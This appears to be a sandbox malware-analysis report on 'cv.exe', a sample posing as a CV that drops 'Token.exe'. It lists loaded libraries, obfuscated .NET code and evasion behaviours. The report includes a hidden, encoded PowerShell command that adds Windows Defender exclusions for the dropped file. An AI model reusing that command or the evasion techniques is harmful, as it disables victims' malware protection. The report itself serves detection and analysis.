Source: C:\Users\user\Desktop\cv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\cv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\cv.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: cv.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: cv.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: cv.exe

Static file information: File size 1710152 > 1048576

Source: cv.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x189200

Source: cv.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Pzclh.pdb source: cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2086802465.00000000054D0000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.0000000004503000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2094550828.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000003127000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.0000000004503000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2094550828.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2058907435.0000000003127000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp, cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: cv.exe, Hn69Y.cs	.Net Code: NewLateBinding.LateCall(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(obj4, (Type)null, "GetMethods", new object[0], (string[])null, (Type[])null, (bool[])null), new object[1] { 0 }, (string[])null), (Type)null, "Invoke", new object[2]{null,new object[0]}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.cv.exe.4c81ab8.1.raw.unpack, VirtualEvent.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.cv.exe.4b97c02.0.raw.unpack, VirtualEvent.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: Token.exe.5.dr, Hn69Y.cs	.Net Code: NewLateBinding.LateCall(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(obj4, (Type)null, "GetMethods", new object[0], (string[])null, (Type[])null, (bool[])null), new object[1] { 0 }, (string[])null), (Type)null, "Invoke", new object[2]{null,new object[0]}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.cv.exe.430eac0.3.raw.unpack, I3Uw5JkQYHiPBWbdhjU.cs	.Net Code: Type.GetTypeFromHandle(o0pAX0nX5QQd5J3P9J9.drHgn6kDpr(16777307)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(o0pAX0nX5QQd5J3P9J9.drHgn6kDpr(16777250)),Type.GetTypeFromHandle(o0pAX0nX5QQd5J3P9J9.drHgn6kDpr(16777305))})

.NET source code contains potential unpacker

Source: 0.2.cv.exe.4c81ab8.1.raw.unpack, OperationalSorter.cs	.Net Code: SortAutomatedSorter System.Reflection.Assembly.Load(byte[])
Source: 0.2.cv.exe.4b97c02.0.raw.unpack, OperationalSorter.cs	.Net Code: SortAutomatedSorter System.Reflection.Assembly.Load(byte[])
Source: 5.2.cv.exe.43f5700.9.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 5.2.cv.exe.43f5700.9.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 5.2.cv.exe.43f5700.9.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 5.2.cv.exe.43f5700.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 5.2.cv.exe.43f5700.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==

Yara detected Costura Assembly Loader

Source: Yara match	File source: 5.2.cv.exe.40b6a40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cv.exe.5600000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2072016816.0000000004032000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089144567.0000000005600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cv.exe PID: 6092, type: MEMORYSTR

Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06741E3C push ecx; retf	0_2_06741E40
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06743BF7 push es; ret	0_2_06743BF8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_067479CF push es; iretd	0_2_067479D8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06891EF5 push es; retn 891Fh	0_2_0689239C
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06891CBB push es; ret	0_2_06891CBC
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06891CE7 push es; retf	0_2_06891CE8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06891BC8 push es; iretd	0_2_06891BF8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BD9692 push eax; iretd	0_2_06BD9693
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BD8F36 push esi; retf	0_2_06BD8F47
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BC7F05 push ebp; ret	0_2_06BC7F06
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BD9700 pushad ; iretd	0_2_06BD9701
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06BD9778 push ss; ret	0_2_06BD9787
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2C8DF push es; iretd	0_2_06C2C8E0
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2CABB push es; retf	0_2_06C2CABC
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2C9CB push es; rep ret	0_2_06C2C9CC
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2C9CF push es; iretd	0_2_06C2C9D8
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2F347 push es; retn 0006h	0_2_06C2F348
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2C963 push es; retf	0_2_06C2C968
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C17B71 push cs; iretd	0_2_06C17B72
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06C2D330 push ds; ret	0_2_06C2D331
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_06D22684 push ss; retf	0_2_06D22687
Source: C:\Users\user\Desktop\cv.exe	Code function: 0_2_0827CA70 push esp; iretd	0_2_0827CA71
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_02C22CC6 push cs; iretd	5_2_02C22CCC
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0538019F push 8B000001h; iretd	5_2_053801A4
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0538D098 pushad ; iretd	5_2_0538D0A7
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0538DB1B pushad ; ret	5_2_0538DB65
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_0538DAE1 push ecx; iretd	5_2_0538DB19
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A15E0 push esp; ret	5_2_053A15E1
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_053A0900 push C0330534h; ret	5_2_053A0912
Source: C:\Users\user\Desktop\cv.exe	Code function: 5_2_058961D9 push AC06330Dh; iretd	5_2_058961E5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7B3B9D2A5 pushad ; iretd	14_2_00007FF7B3B9D2A6

Source: cv.exe, Mj5k3.cs	High entropy of concatenated method names: 'y8C3G', 'Cw62G', 'Gw45T', 'Cg3f7', 'x7N5H', 'Gy6g7', 'Ea56B', 'Zs4q2', 'Re06G', 'Jq98W'
Source: cv.exe, Mx0p6.cs	High entropy of concatenated method names: 's6AWt', 'MoveNext', 'Nj7z9', 'SetStateMachine', 'i0EQy', 'Bq14T', 'n0Y4F', 'c8KQk', 'Jm80A', 's6A8Z'
Source: cv.exe, c9M4B.cs	High entropy of concatenated method names: 'g8M4H', 'MoveNext', 'Ka94S', 'SetStateMachine', 'e0YMs', 'MoveNext', 'Py1i9', 'SetStateMachine', 'x8SWa', 'e0A9Y'
Source: cv.exe, r9PQc.cs	High entropy of concatenated method names: 'As34Y', 'r3F7S', 'Jd05G', 'Ei4y6', 'r9E2X', 'Pm7x3', 'Be4r9', 'Kd3a5', 'e3LEz', 'Dy82F'
Source: Token.exe.5.dr, Mj5k3.cs	High entropy of concatenated method names: 'y8C3G', 'Cw62G', 'Gw45T', 'Cg3f7', 'x7N5H', 'Gy6g7', 'Ea56B', 'Zs4q2', 'Re06G', 'Jq98W'
Source: Token.exe.5.dr, Mx0p6.cs	High entropy of concatenated method names: 's6AWt', 'MoveNext', 'Nj7z9', 'SetStateMachine', 'i0EQy', 'Bq14T', 'n0Y4F', 'c8KQk', 'Jm80A', 's6A8Z'
Source: Token.exe.5.dr, c9M4B.cs	High entropy of concatenated method names: 'g8M4H', 'MoveNext', 'Ka94S', 'SetStateMachine', 'e0YMs', 'MoveNext', 'Py1i9', 'SetStateMachine', 'x8SWa', 'e0A9Y'
Source: Token.exe.5.dr, r9PQc.cs	High entropy of concatenated method names: 'As34Y', 'r3F7S', 'Jd05G', 'Ei4y6', 'r9E2X', 'Pm7x3', 'Be4r9', 'Kd3a5', 'e3LEz', 'Dy82F'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, I3Uw5JkQYHiPBWbdhjU.cs	High entropy of concatenated method names: 'DvGi82XIs7s7EjG9C5K', 'MiGBoAX6Fyb2jOWMFMG', 'phKndhVcHn', 'vh0ry9Sq2v', 'CqEnkPpsF1', 'B0fn1CmDo9', 'PGennTGI3c', 'dDxnCMkjvw', 'lh6gkBs3Yc', 'DrskKAhHi4'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, KfmQenn9v1DWYWB4fEw.cs	High entropy of concatenated method names: 'lkbfw6ekkx', 'eZifqaPG8C', 'jV3fmtlfrE', 'cRnftqIIGB', 'kfvfyAkxog', 'vepfZrfnV7', 'L6nf90tBbQ', 'HGSCS2GoGk', 'AOffA9eGOK', 'UlYfl7Zkca'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, Ag0SljnExPEA1HI1XSv.cs	High entropy of concatenated method names: 'sROnHwrM6p', 'ifBnvDPleC', 'AS7nWBfjY1', 'PyCn4GrJav', 'oULnw1Kbo2', 'F9xnqZSa2C', 'uGtnmQEctI', 'Tkrnt4P6VY', 'lZsny1vhjv', 'jdbnZipxvy'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, AcZm6iJRs2ngFv4oAEr.cs	High entropy of concatenated method names: 'zivJyStPub', 'RobJZ65C1G', 'dCcJHbloGq', 'rYpJv8XPtf', 'jAZJWoBQPQ', 'ivqJ4K4diD', 'dCWJwu78mg', 'ihbJqxUxa7', 'TmIJmJBLbu', 'BvPJt364oj'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, S9wBS050msQfi9l9YB7.cs	High entropy of concatenated method names: 'kDN5e3q8XP', 'iyC5pGdRth', 'OCl5aOrhDq', 'rnX5F0KxNZ', 'a845NVbfPT', 'FQT5XdA5vu', 'FES5oNbtD3', 'euUDOCFiMADW2qPKjym', 'wa63W9Fx7hcvgZwes6M'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, YM3GgkTQq1RIeSGkBY.cs	High entropy of concatenated method names: 'VCaecTkxT', 'NHgptOvtM', 'hVNFL2WVU', 'CdKNIKQvl', 'f4Boq6svu', 'e7qYZcmTD', 'jyZfeWhsn', 'HAjrGXaRomsGZ5nkbjf', 'oOSASuasLQNHEan51Yx'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, QYngVpjgTUOwy5DFLi.cs	High entropy of concatenated method names: 'Fj8OIO5id', 'hiYiXdalj', 'mCFx2lYFG', 'xVWM3seBs', 'oufcLyry1', 'dBx24aSvJ', 'KanwbK6CT', 'NBMRAf7Ug', 'Ut9sTlPuF', 'KkYHuOm8N'

Source: C:\Users\user\Desktop\cv.exe

File created: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (98).png

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\cv.exe	File opened: C:\Users\user\Desktop\cv.exe\:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	File opened: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe\:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
